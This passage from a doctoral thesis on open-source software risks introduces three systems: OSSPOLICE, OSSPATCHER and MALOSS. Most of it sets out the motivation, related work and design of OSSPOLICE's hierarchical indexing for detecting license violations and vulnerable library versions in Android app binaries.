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SUMMARY

Open-source software (OSS) has been widely adopted in all layers of the software

stack, from operating systems to web servers and mobile applications. Despite their myriad

benefits, careless use of OSS can introduce significant legal and security risks, which if

ignored not only jeopardize the security and privacy of end users but also cause developers

and enterprises high financial loss. On one hand, use of OSS implicitly binds the developer

to the associated licensing terms protected under copyright laws, which could have legal

ramifications if violated. Just recently, Cisco and VMWare were involved in legal disputes

for failing to comply with the licensing terms of the Linux kernel. On the other hand,

software that reuses OSS also inherits their flaws, which could be exploited if not timely

fixed. For example, the record-breaking security breach of Equifax originated from failure

to patch a disclosed vulnerability in the open-source Apache Struts framework. Moreover,

attackers are actively injecting malware into the open-source ecosystem, which abuses

OSS reuse to amplify their effects. For example, eslint-scope, a package with millions of

downloads in Npm, was compromised to steal credentials from developers.

In this thesis, we aim to provide solutions to those risks posed by OSS misuse. First,

we present a scalable OSS detection system (OSSPOLICE [1]) that accurately detects OSS

included in binary programs and checks for illegal misuse and n-day vulnerabilities in those

OSS versions. OSSPOLICE was used to compare 1.6M applications against 140K OSS

versions and identified over 40K potential GPL/AGPL license violators and over 100K

applications using known vulnerable OSS. Once vulnerabilities have been identified, my

next work (OSSPATCHER [2]) provides an automated patching system that fixes vulnerable

OSS versions in application binaries using publicly available source patches. OSSPATCHER

is based upon variability-aware techniques which make patch feasibility analysis and, more

importantly, source-code-to-binary-code matching possible. Third, we present a study

(MALOSS [3]) on recent supply chain attacks against the open-source ecosystem, where

xiv



hundreds of malware have sneaked into package managers, and have been downloaded

millions of times. We propose a comparative framework to understand the attacks and

the misplaced trust that makes them possible, and a vetting pipeline to detect malware in

package managers. MALOSS reported 339 malware to package manager maintainers, out

of which, 278 (82 percent) have been confirmed and removed and 3 with more than 100K

downloads have been assigned CVEs.
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CHAPTER 1

INTRODUCTION

1.1 Problem Statement

In software engineering, developers write applications that run on devices such as cloud

hosts, production servers, Internet-of-Things (IoT) devices, desktops, and mobile phones.

End users interact with these devices and benefit from the provided services. Meanwhile,

open-source software (OSS) maintainers release and maintain projects through source

hosting services such as GitHub, and optionally package and publish them to package

managers such as PyPI and Npm. Recently, the OSS community has seen rapid growth,

with GitHub reporting over 31 million users and 100 million repositories in 2018. To avoid

reinventing the wheels, developers usually import OSS for common functionalities and

focus their efforts on the unique functionalities of their applications. Such practices bring

lots of benefits, such as cost reduction and time-to-market speedup, which is important for

competing among millions of applications in marketplaces such as the Google Play Store

and Apple’s App Store. However, careless use of OSS can introduce significant legal and

security risks, which if ignored not only jeopardize the security and privacy of end users but

also cause developers and enterprises high financial loss.

First, importing OSS binds the developers to the associated licensing terms, which if

violated can result in lawsuits and high financial loss. For example, Cisco and VMWare

were involved in legal disputes for failing to comply with the licensing terms of the Linux

kernel. Second, software that reuses OSS also inherits their flaws, which could be exploited

if not timely fixed. For example, the record-breaking security breach of Equifax originated

from failure to patch a disclosed vulnerability in the open-source Apache Struts framework.

Third, the open-source ecosystem is under supply chain attacks, implying that OSS can be

1



malicious in the first place, thus affecting any downstream developers and end users. For

example, eslint-scope, a package with millions of downloads in Npm, was compromised

to steal credentials from developers.

1.2 Thesis Contributions

In this thesis, we aim to measure the above risks arising from OSS use and provide solutions

to them. First, we present a scalable OSS detection system (OSSPOLICE [1]) that accurately

identify OSS and their versions being used in applications. By correlating such information

with licensing terms and security advisories, we can identify potential license violators

and n-day vulnerabilities. We used OSSPOLICE to compare 1.6M applications against

140K OSS versions and identified over 40K potential GPL/AGPL license violators and over

100K applications using known vulnerable OSS. Second, we provide an automated patching

system (OSSPATCHER [2]) fixes vulnerable OSS versions in application binaries using

publicly available source patches. OSSPATCHER is based upon variability-aware techniques

which make patch feasibility analysis and, more importantly, source-code-to-binary-code

matching possible. We evaluated OSSPATCHER with 1,140 patches, out of which, 675 with

function-level changes were feasible and 10 with public exploits were successfully applied

to thwart exploitation. Third, we present a study (MALOSS [3]) on recent supply chain

attacks against the open-source ecosystem, where hundreds of malware have sneaked into

package managers, and have been downloaded millions of times. We propose a comparative

framework to understand the attacks and the misplaced trust that makes them possible, and

a vetting pipeline to detect malware in package managers. MALOSS reported 339 malware

to package manager maintainers, out of which, 278 (82 percent) have been confirmed

and removed and 3 with more than 100K downloads have been assigned CVEs. To help

secure the ecosystem, we propose actionable security improvements for package manager

maintainers and suggestions for other stakeholders.

To summarize, this thesis includes three projects that address security risks in OSS use:

2



detection and quantification of legal and n-day security risks (OSSPOLICE in §2), automatic

patching of n-day security risks (OSSPATCHER in §3), and measurement and prevention

of supply chain attacks (MALOSS in §4). This thesis makes the following contributions

toward solving the security risks of OSS use:

• New threats: We identify and quantify legal risks, n-day security risks and supply

chain attacks in the open-source ecosystem.

• New observations: We analyze these new threats to understand their root causes and

provide remediation suggestions.

• New techniques: We propose novel techniques to measure these new threats at scale

and fix them seamlessly if possible.

1.3 Thesis Overview

1.3.1 OSSPOLICE: Identifying Open-Source License Violation and 1-day Security Risk

at Large Scale

With millions of apps available to users, the mobile app market is rapidly becoming very

crowded. Given the intense competition, the time to market is a critical factor for the success

and profitability of an app. In order to shorten the development cycle, developers often

focus their efforts on the unique features and workflows of their apps and rely on third-party

Open Source Software (OSS) for the common features. Unfortunately, despite their benefits,

careless use of OSS can introduce significant legal and security risks, which if ignored can

not only jeopardize security and privacy of end users, but can also cause app developers high

financial loss. However, tracking OSS components, their versions, and interdependencies

can be very tedious and error-prone, particularly if an OSS is imported with little to no

knowledge of its provenance.

We therefore propose OSSPOLICE, a scalable and fully-automated tool for mobile app

developers to quickly analyze their apps and identify free software license violations as well
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as usage of known vulnerable versions of OSS. OSSPOLICE introduces a novel hierarchical

indexing scheme to achieve both high scalability and accuracy, and is capable of efficiently

comparing similarities of app binaries against a database of hundreds of thousands of OSS

sources (billions of lines of code). We populated OSSPOLICE with 60K C/C++ and 77K

Java OSS sources and analyzed 1.6M free Google Play Store apps. Our results show that

1) over 40K apps potentially violate GPL/AGPL licensing terms, and 2) over 100K of

apps use known vulnerable versions of OSS. Further analysis shows that developers violate

GPL/AGPL licensing terms due to lack of alternatives, and use vulnerable versions of

OSS despite efforts from companies like Google to improve app security. OSSPOLICE is

available on GitHub.

1.3.2 OSSPATCHER: Automating Patching of Vulnerable Open-Source Software Versions

in Application Binaries

Mobile application developers rely heavily on open-source software (OSS) to offload

common functionalities such as the implementation of protocols and media format playback.

Over the past years, several vulnerabilities have been found in popular open-source libraries

like OpenSSL and FFmpeg. Mobile applications that include such libraries inherit these

flaws, which make them vulnerable. Fortunately, the open-source community is responsive

and patches are made available within days. However, mobile application developers are

often left unaware of these flaws. The App Security Improvement Program (ASIP) is a

commendable effort by Google to notify application developers of these flaws, but recent

work has shown that many developers do not act on this information.

Our work addresses vulnerable mobile applications through automatic binary patching

from source patches provided by the OSS maintainers and without involving the developers.

We propose novel techniques to overcome difficult challenges like patching feasibility

analysis, source-code-to-binary-code matching, and in-memory patching. Our technique

uses a novel variability-aware approach, which we implement as OSSPATCHER. We
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evaluated OSSPATCHER with 39 OSS and a collection of 1,000 Android applications using

their vulnerable versions. OSSPATCHER generated 675 function-level patches that fixed the

affected mobile applications without breaking their binary code. Further, we evaluated 10

vulnerabilities in popular apps such as Chrome with public exploits, which OSSPATCHER

was able to mitigate and thwart their exploitation.

1.3.3 MALOSS: Measuring and Preventing Supply Chain Attacks on Package Managers

Package managers have become a vital part of the modern software development process.

They allow developers to reuse third-party code, share their own code, minimize their

codebase, and simplify the build process. However, recent reports showed that hundreds

of malware have sneaked into package managers, which have been downloaded millions

of times, posing significant security risks to developers as well as end-users. For example,

eslint-scope, a package with millions of weekly downloads in Npm, was compromised

to steal credentials from developers.

To understand the attacks on package managers and the misplaced trust that makes

them possible, we propose a comparative framework to study the package managers for

interpreted languages. By systematically analyzing the recent attacks using our framework,

we can identify security gaps and broken trust in the package manager ecosystem. Based

on these insights, we propose and implement a vetting pipeline, MALOSS, to perform

metadata, static and dynamic analysis on packages and flag the suspicious ones. Through

iterative labeling, we identified and reported 339 malware to package manager maintainers.

278 (82 percent) of them have been confirmed and removed, and 3 of them with more than

100,000 downloads have been assigned CVEs. To help secure the ecosystem, we propose

actionable security improvements for package manager maintainers and suggestions for

other stakeholders.
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CHAPTER 2

IDENTIFYING OPEN-SOURCE LICENSE VIOLATION AND 1-DAY SECURITY

RISK AT LARGE SCALE

2.1 Motivation

The mobile app market is rapidly becoming crowded. According to AppBrain, there are

2.6 million apps on Google Play Store alone [4]. To stand out in such a crowded field,

developers build unique features and functions for their apps, but more importantly, they try

to bring their apps to the market as fast as possible for the first-mover advantage and the

subsequent network effect. A common development practice is to use open-source software

(OSS) for the necessary but “common” components so that developers can focus on the

unique features and workflows. With the emergence of public source code hosting services

such as GitHub [5] and Bitbucket [6], using OSS for faster app development has never been

easier. As of October 2016, GitHub [5] reported hosting over 46 million source repositories

(repos), making it the largest source hosting service in the world.

Despite their benefits, OSS must be used with care. Based on our study, two common

issues that arise from the careless use of OSS are software license violations and security

risks.

License violations. The use of OSS code in apps can lead to complex license compliance

issues. OSS are released under a variety of licenses, ranging from the highly permissive

BSD and MIT licenses to the highly restrictive ones: General Public License (GPL), and

Affero General Public License (AGPL). Use of OSS implicitly bounds the developer to the

associated licensing terms, which are protected under the copyright laws. Consequently,

failure to comply with those terms could have legal ramifications. For example, Cisco and

VMWare were involved in legal disputes for failing to comply with the licensing terms of
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Linux kernel [7, 8].

Security risks. OSS may also contain exploitable vulnerabilities. For instance, recently

reported vulnerabilities in Facebook and Dropbox SDKs [9, 10] could be exploited to hijack

users’ Facebook accounts and link their devices to attacker-controlled Dropbox accounts,

respectively. Vulnerabilities found in OSS are typically patched in subsequent releases while

apps using old, unpatched versions can put end users’ security and privacy in jeopardy.

To obviate such issues, app developers must diligently manage all OSS components in

their apps. In particular, developers not only need to track all OSS components being used

and regularly update them with security fixes, but also comply with the license policies and

best practices in all OSS components and follow license changes across versions.

However, manually managing multiple OSS components, their versions, and interde-

pendencies can quickly become very tedious and error-prone, particularly if an OSS is

imported with little to no knowledge of its provenance. Moreover, license engineering

and compliance require both legal as well as technical expertise, which given the diversity

of software licenses, can prove costly and time-consuming. Consequently, while some

developers may ignore the need for managing OSS to avoid additional overheads, others

may fail to correctly manage them due to ignorance or lack of tools and expertise, thereby

inadvertently introducing security risks and license violations.

We have developed OSSPOLICE, a scalable and fully-automated tool to quickly analyze

app binaries to identify potential software license violations and usage of known vulnerable

OSS versions. OSSPOLICE uses software similarity comparison to detect OSS reuse in app

binaries. Specifically, it extracts inherent characteristic features (a.k.a. software birthmarks

[11]) from the target app binary and efficiently compares them against a database of features

extracted from hundreds of thousands of OSS sources in order to accurately detect OSS

versions being used. In the event that the correct version is missing from our database, or if

two versions have no distinct features, in line with our findings, the closest version of OSS

is detected.
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Based on the detected usage of OSS versions, the ones containing known software

security vulnerabilities or under restrictive free software licensing terms are reported.

OSSPOLICE polls the Common Vulnerabilities and Exposures (CVE) database to track

OSS versions affected with security vulnerabilities. We also include vulnerabilities found

by Google’s App Security Improvement program (ASIP) [12]. In this work, we only track

OSS usage under GPL and AGPL licenses due to their wide usage and highly restrictive

terms (e.g. require derivatives works to open-source) and flag detected cases as potential

violations if app sources are not found. It is worth noting that OSSPOLICE focuses solely

on the technical aspects of license compliance, not the legal issues. Although OSSPOLICE

does perform extra validation before reporting an app, such as checking whether its source

code is publicly available on the developer website or popular code hosting webservices

(e.g., GitHub), raising legal claims is not a goal of OSSPOLICE.

The current prototype of OSSPOLICE has been designed to work with Android apps

due to its popularity and market dominance. Nevertheless, the techniques used can also

easily be applied to iOS, Windows, and Linux apps. OSSPOLICE can analyze both types of

Android binaries: C/C++ native libraries and Java Dalvik executables (dex).

A number of code reuse detection approaches have been proposed, but each presents

its own set of limitations when applied to our problem setting. For instance, whereas

some assume availability of app source code [13, 14, 15, 16, 17], others either support

only a subset of languages (C [18], Java [19, 20, 21]) or use computationally expensive

birthmark features to address software theft [22, 23, 24, 25, 26, 27], known bugs [28, 29]

and malware detection [30, 31, 32]. In contrast, the goal of OSSPOLICE is not to detect

deliberate repackaging, software theft, or malware; rather it is a tool for developers to

quickly identify inadvertent license violations and vulnerable OSS usage in their apps. To

this end, we assume that app binaries have not been tampered with in any specific way to

evade OSS reuse detection. Based on this assumption, we trade accuracy in the face of code

transformations to gain performance and scalability in the design space. We use syntactical
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features, such as string literals and exported functions when matching native libraries against

OSS sources. This is because these features are easy to extract and preserved even across

stripped libraries. However, since Java code in Android apps is commonly obfuscated with

identifier renaming, OSSPOLICE has been designed to be resilient to such simple code

transformations. To match dex files against Java OSS, we rely on string constants and proven

obfuscation-resilient features, such as normalized classes [21] and function centroids [33]

as features.

OSSPOLICE maintains an indexing database of features extracted from OSS sources for

efficient lookup during software similarity detection. One approach to build such a database,

as adopted by BAT [18], is to create a direct (inverted) mapping of features to the target OSS.

However, this approach fails to consider large code duplication across OSS sources [34]

and, hence, suffers from low detection accuracy and poor scalability (§2.3.4.1). Indexing

multiple versions of OSS further adds to the problem. OSSPOLICE, therefore, uses a novel

hierarchical indexing scheme that taps into the structured layout (i.e., a tree of files and

directories) of OSS sources to apply multiple heuristics for improving both, the scalability

and the detection accuracy of the system (§2.3.4.3).

Our experiments show that OSSPOLICE is capable of efficiently searching through

hundreds of thousands of source repos (billions of lines of code). We evaluated the accuracy

of OSSPOLICE using open-source Android apps on FDroid [35] with manually labeled

ground truth. OSSPOLICE achieves a recall of 82% and a precision of 87% when detecting

C/C++ OSS usage and a recall of 89% and a precision of 92% when detecting Java OSS

usage, which outperforms both BAT [18] and LibScout [21]. For version pinpointing,

OSSPOLICE is capable of detecting 65% more OSS versions than LibScout [21].

In summary, we contribute as follows:

• We identify the challenges in accurately comparing an app binary against hundreds

of thousands of OSS source code repos and propose a novel hierarchical indexing

scheme to achieve both the accuracy and scalability goals.
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• We present the design and implementation of OSSPOLICE, a scalable and fully-

automated system for OSS presence detection in Android apps, and further use the

presence information to identify potential license violations and usage of vulnerable

OSS versions in Android apps.

• We apply OSSPOLICE to analyze over 1.6 million free Android apps from Google

Play Store and compare their similarity to 60K C/C++ and 77K Java OSS versions.

To the best of our knowledge, this is the first large-scale study to do so. We present

our findings, highlighting over 40K cases of potential GPL/AGPL violations and over

100K apps using vulnerable OSS versions (§2.6).

• We conduct further analysis on the detected results and find that developers violate

GPL/AGPL licensing terms due to lack of choice, and use vulnerable OSS versions

despite efforts from companies like Google to improve app security.

2.2 Related work

Previous efforts related to OSSPOLICE can be categorized into the two lines of work.

Software similarity detection. Software similarity detection techniques compare one

software to another to measure their similarity. Various such techniques have been studied

and applied in across domains. However, none of those are suitable for our problem setting,

i.e. comparing Java dex files as well as fused C/C++ libraries in Android apps against

hundreds of thousands of source code repos §2.3.4.1.

Code clone detection. One such technique is code clone detection that identifies the

reuse of code fragments across source repos. It was historically used to improve software

maintainability [13, 14, 15, 36, 37, 38, 39, 40], but has also been studied to detect software

theft (or plagiarism) [22, 23, 41, 26, 42] and cloned bugs [43, 44, 16]. These methods

assume the availability of app source code. OSSPOLICE, on the other hand, detects OSS

code reuse in app binaries since their sources may not be available.

Java/Dalvik bytecode clone detection. Some works have studied similarity detection in
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Java bytecode code. Baker and Manber [19] Tamada et al. [20] proposed birthmarking to

detect software theft.

Techniques to detect app cloning have also been studied to identify malicious and pirated

apps. They computed similarity between apps using code-based similarity techniques [33,

45, 31] or by extracting semantic features from program dependency graphs [30, 46]. Other

approaches have also studied third-party library detection on Android, ranging from naïve

package name based [47, 48] whitelisting, to code clustering [46, 49, 50, 51] and machine

learning [52] based approaches. In particular, WuKong [49] automatically identify third-

party library uses with no prior knowledge with code clustering techniques, LibRadar [50]

extended it by generating a unique profile for each cluster identified, and LibD [51] further

adopted feature hashing algorithm to achieve scalability. However, these approaches are

either not scalable or rely on the assumption that the third-party code is used by many apps

without modification, which might not always hold true [53].

In contrast, LibScout [21] considered unused code removal and proposed a different

feature: normalized class, as a summary of actual class to detect third-party libraries with

obfuscation resiliency. However, LibScout [21] doesn’t scale to a large number of OSS,

because they iterate over all the third-party libraries to find matches for candidate apps.

Binary clone detection. Various approaches have been proposed to measure the

similarity of two binaries [54, 55, 56, 25, 28, 29, 57]. OSSPOLICE, however, does not

assume that the OSS binaries can be built from sources or obtained.

There are also approaches proposed to detect OSS code reuse in binaries [58, 18].

[58] computes signatures of functions present in both source and binary using the size of

arguments and local variables, then employs k-gram method to perform similarity analysis.

Similarly, Binary Analysis Tool (BAT) [18] extracts strings in binary files and compares

them with information extracted from OSS source repos to perform similarity measurement

analysis. However, both of them have not been designed to scale to the amount of repos

OSSPOLICE faces. Moreover, they suffer from low detection accuracy due to inability to
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handle internal code cloning across OSS sources §2.3.4.1.

Commercial services. A number of commercial services, such as Black Duck Software’s

Protex [59], OpenLogic [60], Protecode [61], and Antelink [62] are also available that assist

enterprises in managing OSS license compliance and identifying security risks. However,

they scan source code to detect OSS code clones by comparing against their own database

of OSS sources.

Third-party component security. [63] presented a threat scenario that target WebView

apps and [64] further found that 28% of apps that uses embedded web browsers have at least

one vulnerability, either due to use of insecure code or careless mistakes. [65, 66, 67] vetted

the assumptions and implementations for authentication protocols in third-party SDKs and

found that three popular SDKs are vulnerable. They further verified that many apps that

relies on these SDKs are vulnerable too.

While similar in the final goal, these works actively test whether an app violates the

specified protocols/procedures while OSSPOLICE only passively test whether an app is

vulnerable by inferring from the presence of vulnerable versions of OSS components. [68]

is also a passive approach, however, given a specific vulnerable version of OSS component,

it uses dynamic driving to trigger the buggy code while OSSPOLICE is purely static.

Given the wide spread of vulnerable third-party components in mobile apps, researchers

have also proposed various mechanisms to isolate untrusted third-party code from the code

originated from app developers. [69] isolated components in native code; [70, 71] isolated

operation of ad libraries from the rest of the app; [72, 73] provided ways to achieve access

control on untrusted code. These works are orthogonal to OSSPOLICE and can be used as

remedy actions for vulnerable OSS components that cannot be easily fixed by updating to

the latest version.
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Languages Features OP BAT LS C

C/C++

String literal ✓ ✓

NA NAExported function ✓ ✓

Control-flow graph ✗ ✗

Java

String constant ✓ ✓ ✗ ✗
Function name ✗ ✓ ✗ ✗
Normalized class ✓ ✗ ✓ ✗
Function Centroid ✓ ✗ ✗ ✓

Control-flow graph ✗ ✗ ✗ ✗

Table 2.1: Comparison of OSSPOLICE (OP) with state-of-the-art binary clone detection
systems, including BAT [18], LibScout (LS) [21], and Centroid (C) [33]

2.3 Design

2.3.1 Goals and Assumptions

We envision OSSPOLICE as a webservice (or a standalone tool) for mobile app developers

that quickly compares their apps against a database of hundreds of thousands of OSS sources

in view of identifying free software license violations as well as known vulnerable OSS

being used.

Nonetheless, detection of software license violation entails both legal and technical as-

pects. OSSPOLICE, focuses solely on the latter; its goal is to only collect statistical evidence

suggesting a license violation, not draw any legal conclusions. Similarly, OSSPOLICE is

not a system to discover new or existing security vulnerabilities. Its goal is to only highlight

the reuse of known vulnerable OSS versions in apps, not to find or provide a concrete proof

for vulnerabilities. We provide detailed reasoning for these design choices in §3.6.

OSSPOLICE assumes that the violations have been caused inadvertently and do not

constitute of deliberate software theft or piracy. Therefore, it assumes that app binaries have

not been tampered with to defeat code reuse detection.

To this end, we set the following specific goals:

• Accurate detection of OSS versions being used in app binaries,

• Collection of evidence suggesting license violations and presence of known vulnerable

OSS versions,
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• Efficient use of hardware resources, and

• Scalability to search against hundreds of thousands of OSS sources (billions of lines

of code).

2.3.2 Apps vs OSS

Android apps mainly contain two kinds of binaries: dalvik executable (dex) files and native

libraries. OSSPOLICE separately analyzes each binary type in an Android app and compares

it against OSS sources to detect specific versions being used.

Native Libraries. Native libraries are built directly for machine architecture, such as

ARM and x86 from C/C++ sources and loaded on demand at runtime. App developers use

native libraries in Android apps for various reasons, such as code reuse, better performance,

or cross-platform development. One way to detect OSS reuse in an app native library is to

first build a native library from subject OSS sources, which can then be compared with the

target app library leveraging existing binary similarity measurement techniques [54, 56, 24].

However, this approach suffers from the following limitations. First, it implies automating

the build of OSS sources in order to be scalable, which is nontrivial if not impossible.

OSS written in low-level languages, such as C/C++ demand specialized build environment,

including all dependencies, build tools, and target-specific configuration. For example,

native libraries present in Android apps must be built using Android Native Development

Kit (NDK) toolchain. Consequently, automatically building a binary from C/C++ OSS

sources is not a one-step procedure; instead one must follow complex build instructions to

create the required build environment. However, such specific build instructions may not be

available from the OSS developer as a part of the sources. Second, even if we are able to

successfully build OSS sources, the generated OSS library may differ significantly from the

target app library because of different compilation flags (e.g., optimizations) or mismatching

system configuration. For instance, system configuration headers created during compilation

time that capture the type (e.g., architecture data types, etc.) of the host system would
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be different on disparate systems. To avoid such pitfalls, we directly compare app native

libraries to OSS sources.

Java Dex Files. Compared to native libraries, Android dex files are built from Java

sources and executed under a sandboxed Java Virtual Machine runtime. Being amenable

to reverse engineering, dex files are commonly obfuscated to hide proprietary details. In

fact, the official Android development IDE, Android Studio [74] is shipped with a built-in

obfuscation tool, called ProGuard [75], that removes unused code and renames classes,

including any fields and functions with semantically obscure names to hide proprietary

implementation details. For example, package name com.google.android is renamed to

a.g.c. OSSPOLICE is designed to be resilient against common obfuscation techniques,

such as identifier renaming and control-flow randomization for analyzing Java dex binaries.

Although app developers can also adopt advanced code obfuscation methods, such as string

or class encryption and reflection-based API hiding, we found such cases to be rare in our

dataset, possibly because such mechanisms incur high runtime overhead.

2.3.3 Feature Selection

OSSPOLICE employs software similarity comparison to detect OSS reuse. Specifically,

when analyzing mobile app binaries, OSSPOLICE uses software birthmarks [11] to compare

their similarity to OSS sources to accurately detect usage of OSS versions. A software

birthmark is a set of inherent features of a software that can be used to identify it. In other

words, if software X and Y have the same or statistically similar birthmarks, then they, with

high probability, are copies of each other.

Selecting birthmarks (a.k.a. features) entails balancing performance, scalability, and

accuracy of software similarity detection; depending upon the design goals, appropriate trade

offs can be made. For example, syntactic features, such as string literals are easy to extract

and are preserved in the binary, but can also be obfuscated (e.g., string encryption) to defeat

detection. Simple syntactic features are not reliable when applied to the problem of malware
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clone detection and app repackaging detection. Past works targeting such adversarial

problems have, therefore, often employed program dependency graph or dynamic analysis

to defeat advanced evasion techniques [76, 77, 25, 32, 78]. However, such semantic features

are not only difficult to extract correctly, but also consume overwhelmingly high amount of

CPU and memory resources, limiting system scalability.

OSSPOLICE is neither a tool to find malware in apps nor does it aim to detect deliberate

software theft or piracy. We, therefore, trade accuracy against code transformations to gain

performance and scalability in the design space. In particular, we assume that app binaries

have not been tampered with to evade OSS detection and rely on simple syntactical features,

such as string literals and functions for the purposes of comparing Android native binaries

against C/C++ OSS sources. Table 2.1 shows the list of all features used by OSSPOLICE.

The reasons for selecting them are many-fold. Besides being easy to extract, we found these

features to be stable against code refactoring, precise enough to distinguish between different

OSS versions, and preserved (ASCII readable) even across stripped libraries. During our

analysis of 1.6 million free Google Play Store Android apps, consisting of 271K native

ARM libraries (98.9% stripped) and we found that 85% of native libraries have more than

50 features (strings and functions) preserved. We further found that for most native libraries,

the number of functions increases linearly as the library size grows, which indicates that

most of the apps do not strip or hide functions in native libraries. In fact, there are only

11.6% libraries that are larger than 40KB in size, but have less than 50 visible functions.

Finally, these features have been widely used and proven effective in various binary clone

detection schemes [18, 58].

Similar syntactical features are used by OSSPOLICE to match app dex files against Java

OSS sources, namely string constants and class signatures. However, to be resilient against

common obfuscation techniques, such as identifier renaming, we normalize classes before

producing their signatures in a way that they lose all user-defined (custom) details, but retain

their interactions with the common framework API. Normalized classes have been proven
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to survive ProGuard obfuscation process [21]. The signatures are derived in two steps. First,

all functions in a class are normalized by removing everything except their argument list

and return types and further replacing non-framework types with a placeholder. Next, the

resulting normalized functions are sorted and hashed to get their class signature. However,

our analysis revealed that while string constants and normalized class signatures can detect

OSS reuse in Java dex files, they are too weak to accurately detect Java OSS versions.

Thus, we also use function centroids [33] for additional entropy. Centroid of a function

is generated through a deterministic traversal of its intra-procedural graph. It captures the

control flow characteristics of a function and generates its signature as a three dimensional

data point, representing basic block index, outgoing degree, and loop depth. Computing and

comparing function centroids are, however, computationally expensive tasks. Therefore,

we defer them until the later phase of similarity detection and use only to pinpoint OSS

versions (§2.4).

To determine how unique these features are across OSS versions, we also analyzed

cross-version uniqueness of these features for OSS collected by OSSCollector in §2.4,

which contains 3K C++ and 5K Java software, totaling to 60K C/C++ and 77K Java versions,

respectively. We find that 83% of C/C++ and 41% of Java OSS versions can be uniquely

identified using the aforementioned features.

2.3.4 Similarly Detection

Given sets of features from app binaries (denoted by BIN ) and OSS sources (denoted by

OSS), a typical software similarity detection scheme is to compare the two feature sets

and compute a ratio-based ( ∣OSS∩BIN ∣
∣OSS∣ or ∣BIN∩OSS∣

∣BIN ∣ ) similarity score to detect OSS usage.

However, designing a large-scale similarity measurement system to accurately detect OSS

reuse in app binaries presents its own set of challenges.
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Figure 2.1: Real-world examples illustrating third-party code clones across OSS source
repos. Various node types are highlighted using different colors.

2.3.4.1 Challenges

Here we first identify all the challenges we faced and follow up with the mechanisms we

introduced for addressing them.

Internal code clones. A known advantage of using OSS is code reuse. OSS developers

frequently reuse third-party OSS sources to leverage existing functionality. Reused code is

often cloned and maintained internally, as a part of the OSS development sources (e.g., to

allow easy customizations, to ensure compatibility, etc.). We refer to such nested third-party

OSS clones as internal code clones. Internal code cloning results in high code duplication

across OSS sources [34]. Therefore, a naïve database of OSS sources for similarity search

will not only impose high hardware requirements, thereby hurting the system scalability, but

also cause OSSPOLICE to report false positive matches against the internal third-party code

clones. To understand why, let us look at source layouts of two popular C/C++ OSS sources,

namely MuPDF and OpenCV as depicted in Figure 2.1. Both the repos contain code clones of

LibPNG as a part of their source trees. Consequently, when trying to match features from

LibPNG binary against LibPNG,MuPDF,OpenCV sources, all three of them will be reported

as matches, although LibPNG is the only true positive match. Such false positives can result

into incorrect license violations if the true and the reported matched repos are under different

software licenses.

Partial OSS Builds. App developers may also choose to include only partial func-

tionality from an OSS. For example, sources that are specific to one machine architecture
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(e.g., say x86) will not be compiled into a binary targeted for a different architecture (e.g.,

arm). Many C/C++ OSS sources provide configure options to selectively enable/disable

architecture-specific functionality. Similarly, some OSS sources may also contain source

files and directories that are not compiled into the target binary, such as examples and

testsuite. While such unused sources could potentially be identified by analyzing build

scripts (e.g., gradle, Makefile, etc.), there exists a number of build automation tools that

will have to be supported by OSSPOLICE in order to correctly parse the build scripts and

filter out unused parts; yet, the process may remain error-prone. Moreover, commonly used

app shrinking tools, such as ProGuard analyze Java dex bytecode and remove unused classes,

fields, and methods. While the binary remains functionally equivalent in such cases, number

of features preserved from source to binary may, however, decrease significantly. We call

these binaries partially built binaries. When comparing features from such a binary (BIN )

with features (OSS) from the corresponding OSS sources, the matching ratio ( ∣BIN∩OSS∣
∣OSS∣ )

can be arbitrarily low even if all the elements from BIN are found in OSS. In fact, the

more number of unused features are detected, the lower is the matching score, indicating a

false negative match.

Fused app binaries. During the app build process, multiple binaries from disparate

OSS sources could be tightly coupled together to generate a single app binary. For example,

all Java class files in Android app, including any imported OSS jars are compiled into a

single dex bytecode file (classes.dex). Similarly, multiple native libraries built from

various C/C++ OSS sources, could be statically linked into a single shared library, thus

blurring the boundaries between them. In such multi-binary files, features across multiple

OSS components are effectively fused into a superset. We refer to them as fused binaries.

As such, in the example depicted by Figure 2.1, MuPDF binary will also contain features

from LibJPEG. As a result, when matching fused feature set (BIN ) against a set of features

(OSS) from a single OSS, the matching ratio ( ∣BIN∩OSS∣
∣BIN ∣ ) will be arbitrarily low even though

BIN includes all the elements of OSS. In fact, the more number of disparate binaries are
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fused together, the lower is the matching score, resulting into false negatives.

2.3.4.2 Mechanisms

For efficient and scalable lookup during similarity comparison, OSSPOLICE maintains an

indexing database of features extracted from OSS sources. An intuitive approach to indexing

OSS sources is to consider each OSS as a document and its features as words, and create a

direct (inverted) mapping of features to the target OSS (document). Figure 2.2a depicts the

layout of such an indexing database. BAT [18] uses a similar scheme to maintain a database

of features (string literals) extracted from OSS sources. However, this approach assumes

that each OSS (document) is unique, and fails to consider large code duplication across

OSS sources due to internal code cloning (§2.3.4.1). Consequently, such a naïve indexing

scheme not only causes high false positives matches against internally cloned third-party

OSS sources, but also imposes high storage requirements and does not scale as number of

OSS to be indexed grows. Indexing multiple versions of OSS to enable version pinpointing

further adds to the problem of code duplication.

We address the aforementioned challenges by tapping into the structurally rich tree-like

layout of OSS sources. We will use the OSS source repo layouts in Figure 2.1 throughout

this section for illustration purposes. The key observation that we make is that OSS devel-

opers typically follow the best practices of software development to improve collaboration

and allow faster development. Hence, OSS sources are well organized in a modular and

hierarchical fashion for easy maintainability. For instance, source files (e.g., a C/C++ or Java

class file) typically encapsulates related functions. Directory (dir) nodes at each level of the

source tree cluster all related child files and dirs together. Referring to our example layout in

Figure 2.1, we can see that src and source dirs in OpenCV and MuPDF, respectively group

all related source files and dirs under them. Similarly, internal code clones of third-party OSS

(e.g., LibPNG and LibJPEG) are maintained in separate dirs (thirdparty and 3rdparty,

respectively). We utilize this property to perform ratio-based feature matching against
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each file or dir node (i.e., ∣BIN∩NODE∣
∣NODE∣ ) along the OSS source tree hierarchy as opposed to

matching against the entire OSS repo (i.e., ∣BIN∩OSS∣
∣OSS∣ ), which may result in low accuracy in

case of partial OSS reuse (§2.3.4.1). Specifically, if the ratio-based feature matching reports

a high score against a node n (e.g., LibPNG) at a particular level l in the OSS source tree

hierarchy, but reports a low aggregated score when matched against one of n’s parent nodes

p (e.g., OpenCV) at level > l, then we only report a match against node n (i.e., LibPNG), but

not against the parent p (i.e., OpenCV) or any siblings at the same level. In this example, the

matched OSS path reported by OSSPOLICE would be OpenCV/LibPNG.

To detect internal clones and filter out spurious matches against them, we apply mul-

tiple additional heuristics that leverage the modularized layout of OSS sources. During

indexing we visit each dir node n in OSS sources and check for the presence of common

software development files, such as LICENSE or COPYING (OSS licensing terms), CREDITS

